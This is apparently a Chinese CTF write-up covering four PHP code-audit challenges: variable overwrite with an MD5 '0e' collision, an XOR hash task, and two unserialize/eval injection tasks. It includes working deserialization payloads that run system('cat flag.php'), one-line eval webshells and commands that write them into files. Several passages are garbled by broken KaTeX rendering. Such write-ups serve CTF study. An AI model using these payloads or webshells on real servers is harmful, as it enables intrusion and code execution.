1 代码审计:
http://xuptnetsec.site:8089/first/index.php?tdsourcetag=s_pcqq_aiomsg
代码审计题:
<?php
/**
* from Guardian oath
* **/
show_source(__FILE__);
include "flag.php";
$data=array();
$password = 'QNKCDZO';
$data["user"]=874;
$data['hack']="7879";
$pass=$data["user"];
foreach ($_REQUEST as $key => $value){
$$key=$value;
}
$key_num=mt_rand(1,10);
$newdata=array();
$newdata["hack"]="kk";
$user_id=$_REQUEST["id"];
$newdata = array_merge($newdata,$data,$_REQUEST);
$end=$newdata["hack"];
if($_SESSION["id"]==="admin"&&$_GET["id"]==100&&$Ling==="key"&&is_numeric($pass)&&md5($pass)==md5($password)&&$user_id==10&&$key_num==8&&$end==9)
{
print($flag);
}
else{
die("error");
}
?>
error
可控点:array_merge() 函数把一个或多个数组合并为一个数组。
if(KaTeX parse error: Expected 'EOF', got '&' at position 26: …id"]==="admin" &̲&_GET[“id”]100
&&KaTeX parse error: Expected 'EOF', got '&' at position 14: Ling==="key" &̲&is_numeric(pass)
&&md5(
p
a
s
s
)
=
=
m
d
5
(
pass)==md5(
pass)==md5(password)
&&KaTeX parse error: Expected 'EOF', got '&' at position 13: user_id==10 &̲&key_num8&&$end==9
key_num1-10,随机刷一个
然后要end=9,传进去hack=9就行
$user_id =
R
E
Q
U
E
S
T
[
"
i
d
"
]
;
和
_REQUEST["id"];和
REQUEST["id"];和_GET[“id”] == 100 这个要传post
思路:
id=100&
Ling=key
&pass=0e830400451993494058024219903391
&user_id=10
&key_num=8
&end=9
看见MD5想md5碰撞:
https://blog.csdn.net/qq_38603541/article/details/97108663
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
payload:
2 代码审计加密
题目
http://xuptnetsec.site:8089/second/index.php
<title>加密!加密!加密!</title> //
<pre><h3> //
<?php //
$FLAG = 'XXXXXXX_MA_XXXXX_SAI_XXXXXXX_KE_XXXXXX'; //
$LENGTH_FLAG = strlen($FLAG); //
$KEY = empty($_GET['key']) ? "TEST" : $_GET['key']; //
$sha1_all = hash("sha512","\x00",true); //init //
//
echo "Your KEY : <font color=Green>$KEY</font>\n"; //
for($i=0; $i < $LENGTH_FLAG; $i++){ //
$KEY[$i] = empty($KEY[$i]) ? "\xff" : $KEY[$i]; //
$c = $KEY[$i].str_repeat($FLAG[$i],$LENGTH_FLAG - strlen($KEY[$i])); //
$sha1_all ^= hash("sha512",$c,true); //
} //
echo "Your FLAG: <font color=Red>".bin2hex($sha1_all ^ $FLAG)."</font>\n\n"; //
//
?> //
-- //
</h3></pre> //
str_repeat
^= 二进制取反
hash函数:
https://blog.csdn.net/gdfjhc/article/details/83904893
https://www.cnblogs.com/jcuan/p/5683246.html
bin2hex
(PHP 4, PHP 5, PHP 7)
bin2hex — 函数把包含数据的二进制字符串转换为十六进制值
说明 ¶ bin2hex ( string $str ) : string 把二进制的参数 str
转换为的十六进制的字符串。转换使用字节方式,高四位字节优先。
我的思路是 把 sha1 和 结果都转二进制异或出二进制的flag再转16进制
(感觉直接用PHP写脚本也挺好的其实)
<title>加密!加密!加密!</title> //
<pre><h3> //
<?php //
$FLAG = 'XXXXXXX_MA_XXXXX_SAI_XXXXXXX_KE_XXXXXX'; //
$LENGTH_FLAG = strlen($FLAG); //
$KEY = empty($_GET['key']) ? "TEST" : $_GET['key']; //
$sha1_all = hash("sha512","\x00",true); //init //
//
echo "Your KEY : <font color=Green>$KEY</font>\n"; //
for($i=0; $i < $LENGTH_FLAG; $i++){ //
$KEY[$i] = empty($KEY[$i]) ? "\xff" : $KEY[$i]; //
$c = $KEY[$i].str_repeat($FLAG[$i],$LENGTH_FLAG - strlen($KEY[$i])); //
$sha1_all ^= hash("sha512",$c,true); //
} //
echo "Your FLAG: <font color=Red>".bin2hex($sha1_all ^ $FLAG)."</font>\n\n"; //
$a =hex2bin("XXXXXXX_MA_XXXXX_SAI_XXXXXXX_KE_XXXXXX");
$b= hex2bin($FLAG);
$c= bin2hex($a^$b );
echo $c;
//
?> //
-- //
</h3></pre> //
// // // //
于是这样了
3 代码审计
题目:http://39.105.168.42:8001/
同类型的题目:https://www.jianshu.com/p/00fc814aa6d2?tdsourcetag=s_pctim_aiomsg
<?php
error_reporting(0);
//flag在flag.php里
class flag
{
public $cmd='index.php';
public function __destruct(){
if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
eval('$a="'.$this->cmd.'";');
}
else {
die('hack!!!');
}
}
}
if (!isset($_GET['fl']) || !isset($_GET['ag'])) {
die(@highlight_file('index.php',true));
}
else {
if (!(preg_match('/[A-Za-z0-9]+\(/i', $_GET['fl']))) {
die('hack!!!');
}
else {
echo unserialize($_GET['ag']);
}
}
die函数
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
highlight函数:
https://www.yuque.com/docs/share/7865d6c4-ce8c-4ec5-9226-74af47d3be99
highlight_file() 函数
定义和用法
highlight_file() 函数对文件进行 PHP 语法高亮显示。
语法通过使用 HTML 标签进行高亮。
提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。
**注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
preg_match
int preg_match ( string $pattern , string KaTeX parse error: Expected 'EOF', got '&' at position 18: …bject [, array &̲matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
参数说明:
$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
eval
eval 函数的特殊用法
这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个 php 文件,写入如下代码
<?php
@eval($_GET["cmd"]);
?>
PHP类的test使用:
class test
{ var b;functiontest()$this−>b=5;functionaddab(c) { return this−>b+c; }
}
a=newtest();echo a->addab(4); // 返回 9
加上@符来抑制错误输出,来访问?cmd=echo ‘hello,world!’;这个路径,就会看到输出
正则含义:
\w 任意一个单词字符
(?R)是引用当前表达式的意思,即可以用\w+((?R)?)替换到(?R)的位置,因此可以衍生成匹配\w+(\w+((?R)?))、\w+(\w+(\w+((?R)?)))、…
(?R)? 这里多一个?表示可以有引用,也可以没有。
因此,你的表达式可以匹配类似下面的数据:
aaa() #没有引用
aaa(bbb()) #有引用,1次
aaa(bbb(c())) #有引用,2次
a(bb(ccc(dddd(eeeee(ffffff()))))) #有引用,5次
解题思路:
那么思路就是绕过第一个if之后,在第二个if中new 一个 test类 ,传值进去赋给cmd,
再给cmd重新赋值,让cmd满足if条件的正则表达式,从而执行eval();
之后getshell
本地测试一波:
<?php
error_reporting(0);
//flag在flag.php里
class flag
{
public $cmd='index.php';
public function __destruct(){
if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
print success;
eval('$a="'.$this->cmd.'";');
}
else {
die('hack!!!');
}
}
}
$fl = new flag();
$ag=$fl->cmd=($_GET["a()"]);
print $ag;
print $fl->cmd;
/* if (!(preg_match('/[A-Za-z0-9]+\(/i', fl))) {
die('hack!!!');
}
else {
echo unserialize(ag);
} */
?>
然而报错了
preg_match(’/\w+((?R)?)/’, $this->cmd
这句话我觉得匹配的是任意单词+自身(自身())
改良之后:
本地测试终于通过了:
<?php
error_reporting(0);
//flag在flag.php里
class flag
{
public $cmd='index.php';
public function __destruct(){
if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
$success = 555;
print success;
eval('$a="'.$this->cmd.'";');
}
else {
die('hack!!!');
}
}
}
$fl = new flag();
$ag=$fl->cmd='($_GET[aaa(bbb())])';
print $ag;
print $fl->cmd;
/* if (!(preg_match('/[A-Za-z0-9]+\(/i', fl))) {
die('hack!!!');
}
else {
echo unserialize(ag);
} */
?>
输出结果:
序列化一下a:
O:4:“flag”:1:{s:3:“cmd”;s:9:“index.php”;}
O:4:“flag”:1:{s:3:“cmd”;s:29:“flag.php”;phpinfo();echo 9;//";}
南溟师傅给的payload:
http://39.105.168.42:8001/index.php?fl=php(&ag=O:4:"flag":1:{s:3:"cmd";s:29:"flag.php";phpinfo();echo 9;//";\}
成功显示phpinfo;
我自己本地了一下:
给 flag类的 cmd 赋值:
$a= new flag(); $a->cmd="flag.php;$a=file_get_contents($a);echo $a;//";
无法显示内容,
序列化的时候里面有 双引号 外面要用单引号!!!!!
直接读文件过不了正则匹配:
所以我想把菜刀的密码设置一下让他过正则
自己构造payload绕过了验证:
http://localhost/ctf/index.php?fl=php(&ag= O:4:"flag":1:{s:3:"cmd";s:44:"flag.php\";$a=@eval($_GET["aaa(bbb()) "]);//";}
结果这样连不上菜刀 算了最后还是找了个师傅的博客。。。。.。。。我太菜了
师傅也有一些东西没懂。
https://jayxv.github.io/2019/07/31/Object/
下面灰色部分取自v师傅wp
首先,fl 和 ag要赋值
然后,fl这个正则是任意字母数字加一个左括号
那么,fl=123(
然后是ag的值
这里有个反序列化,在加上flag类有一个魔术方法__destruct(),并且魔术方法中的cmd的值可控,所以构成反序列化漏洞。然后ag也有一个正则匹配,/\w+((?R)?)/,规则就是字符串加一对括号,比如phpinfo(),(?R)?是递归,即
phpinfo(phpinfo()),phpinfo(phpinfo(phpinfo())),这样都可以过正则。
所以接下来要考虑的就是怎么构造ag来拿到flag
首先eval函数里是,$a=”???”;
是一个赋值语句,这显然没办法拿到flag,所以考虑闭合他,构造cmd=a()”; (这样是为了绕过正则)
然后再加点,cmd=a()”;phpinfo();//
序列化得:O:4:”flag”:1:{s:3:”cmd”;s:17:”a()”;phpinfo();//“;}
发现网页崩了,去问了出题人,出题人说我都没走进destructi方法(wtf?)
我再把上面南溟师傅的payload拿下来对比:
O:4:”flag”:1:{s:3:”cmd”;s:17:”a()”;phpinfo();//“;}
O:4:“flag”:1:{s:3:“cmd”;s:29:“flag.php”;phpinfo();echo 9;//";}
(他把对象数改成2 就可以了 南溟师傅下面的直接可以)
要是不改对象数的话 在后面加个 \ 也可以 和下面师傅一样
那么 \ 的作用是什么呢?
c神:
echo 不能echo对象 反序列化之后是个对象 所以这里的payload带个/是为了为在进入echo之前就让程序停止 反序列化的时候
他是先序列化 然后执行序列化之后的东西 最后再看格式是否正确的 所以带了/ 里面的phpinfo一样能运行 同时产生格式错误 不再往下走了
这里你把最后的 } 去掉 一样能运行的 同样会产生格式化错误;
那么同理那么同理他修改对象个数 也是为了让程序 在echo之前停止运行是吧
后来我发现,把源代码中
else { echo unserialize($_GET[‘ag’]); }
里面的echo去掉才能反序列化,(这又是为啥)
因为 echo 不能打印对象;
然后出题人说,把序列化字符串里的对象数目改成2就可以了,(嗯么?)原理同上 不执行echo;
那么payload(此后引用自v神):
http://39.105.168.42:8001/?fl=123(&ag=O:4:"flag":2:{s:3:"cmd";s:74:"a()";include"php://filter/read=convert.base64-encode/resource=flag.php";//";}
伪协议来读取:
但是出题人的预期解是不想让你在$ag这个字符串里的括号里面带参数的,(然而那个正则只匹配一次,a()”;system(cat flag.php) 这前半部分过了,正则就过了)
所以出题人原意是想让你用getallheaders()这个函数2333
payload:
http://39.105.168.42:8001/?fl=123(&ag=O:4:"flag":2:{s:3:"cmd";s:33:"${eval(implode(getallheaders()))}";}
$a=${eval(implode(system('cat flag.php');//))}
再加上
cmd: system('cat flag.php');//
(还可以多此一举的读一读base64后的源码23333, system(‘cat flag.php|base64’);//)
原理呢,,,(我直接用题目的网站测试了)
cmd: var_dump(getallheaders());//
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2019 08:12:03 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8
array(10) {
["cmd"]=>
string(28) "var_dump(getallheaders());//"
["Host"]=>
string(18) "39.105.168.42:8001"
["Cache-Control"]=>
string(9) "max-age=0"
["Upgrade-Insecure-Requests"]=>
string(1) "1"
["User-Agent"]=>
string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
["Accept"]=>
string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
["Accept-Encoding"]=>
string(13) "gzip, deflate"
["Accept-Language"]=>
string(14) "zh-CN,zh;q=0.9"
["Connection"]=>
string(5) "close"
["Content-Length"]=>
string(1) "2"
}
cmd: var_dump(implode(getallheaders()));//
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2019 08:12:32 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 346
Connection: close
Content-Type: text/html; charset=UTF-8
string(331) "var_dump(implode(getallheaders()));//39.105.168.42:8001max-age=01Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3gzip, deflatezh-CN,zh;q=0.9close2"
所以要把cmd写到第一行,后面cmd后面要加上//来注释掉后面所有的东西
相当于eval(“var_dump(implode(getallheaders()))”?
然后命令 a = a= a={eval(implode(getallheaders()))}
${}
参考:https://www.php.net/manual/zh/language.variables.variable.php
有时候使用可变变量名是很方便的。就是说,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如:
<?php $a = 'hello';?>一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:
<?php $$a = 'world';?>这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:
<?php echo "$a ${$a}";?>与以下语句输出完全相同的结果:
<?php echo "$a $hello";?>它们都会输出:hello world。
所以${}里面的东西好像会当作PHP代码执行,
c并没有被赋值,然后 里 的 内 容 确 实 被 执 行 了 ! [ 在 这 里 插 入 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 2019092323164775. p n g ? x − o s s − p r o c e s s = i m a g e / w a t e r m a r k , t y p e Z m F u Z 3 p o Z W 5 n a G V p d G k , s h a d o w 1 0 , t e x t a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 3 F x X z Q x N T E 3 M D c x , s i z e 1 6 , c o l o r F F F F F F , t 7 0 ) 但 是 这 么 测 的 时 候 , {}里的内容确实被执行了 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2019092323164775.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNTE3MDcx,size_16,color_FFFFFF,t_70) 但是这么测的时候, 里的内容确实被执行了![在这里插入图片描述](https://img−blog.csdnimg.cn/2019092323164775.png?x−oss−process=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNTE3MDcx,size16,colorFFFFFF,t70)但是这么测的时候,c = eval(system(‘ls’));这条赋值语句,赋值的同时,命令也执行了。
但是针对这道题,去掉${}就解不出来了,可能是php版本还是什么的原因233333
(知道${}这玩意的作用就好了,溜了溜了~)
审计序列化:
有点气哦
从csdn的makedown扶持过来wp
结果格式乱的一批。。。。
放个链接吧,以后直接在 自己博客写好了放到csdn试试。。。。。。。
https://blog.csdn.net/qq_41517071/article/details/100838057
接csdn后面第四题
审计 反序列化
http://www.whalwl.cn:8026/
<?php
class site{
public $url = 'www.whalwl.com';
public $name;
public $title;
function __destruct(){
$a = $this->name;
$a($this->title);
}
}
unserialize($_POST['dage']);
highlight_file("index.php");
?>
serialize( a − > n a m e = f i l e p u t c o n t e n t s , a->name=file_put_contents, a−>name=fileputcontents,a->title=“shell.php,’<?php eval($_POST['shell'])?>’”);
写的马死活写不进去。。。
后来翻了一下上次给你写过的那个反序列化。。。。
用system命令。。。。。
dage=O:4:"site":2:{s:4:"name";s:6:"system";s:5:"title";s:2:"ls";}
O:4:"site":2:{s:4:"name";s:6:"system";s:5:"title";s:29:"cat flag_aeb45a3fb5a3d769.txt";}
为什么老是 写马写不进去呢。。。。
写马是因为老想着 批量打。。。
写不进去好气!
不行! 非得用 system写个马
https://blog.csdn.net/qq_41517071/article/details/100115977
写马的坑 在于 \的使用 本地先 demo一下。
echo \<?php eval\($_GET[\"1\"] ?\> >1.php
或者南师傅
echo '<?php @eval($_POST[1]);?>' > 1.php
两种写法亲测都可以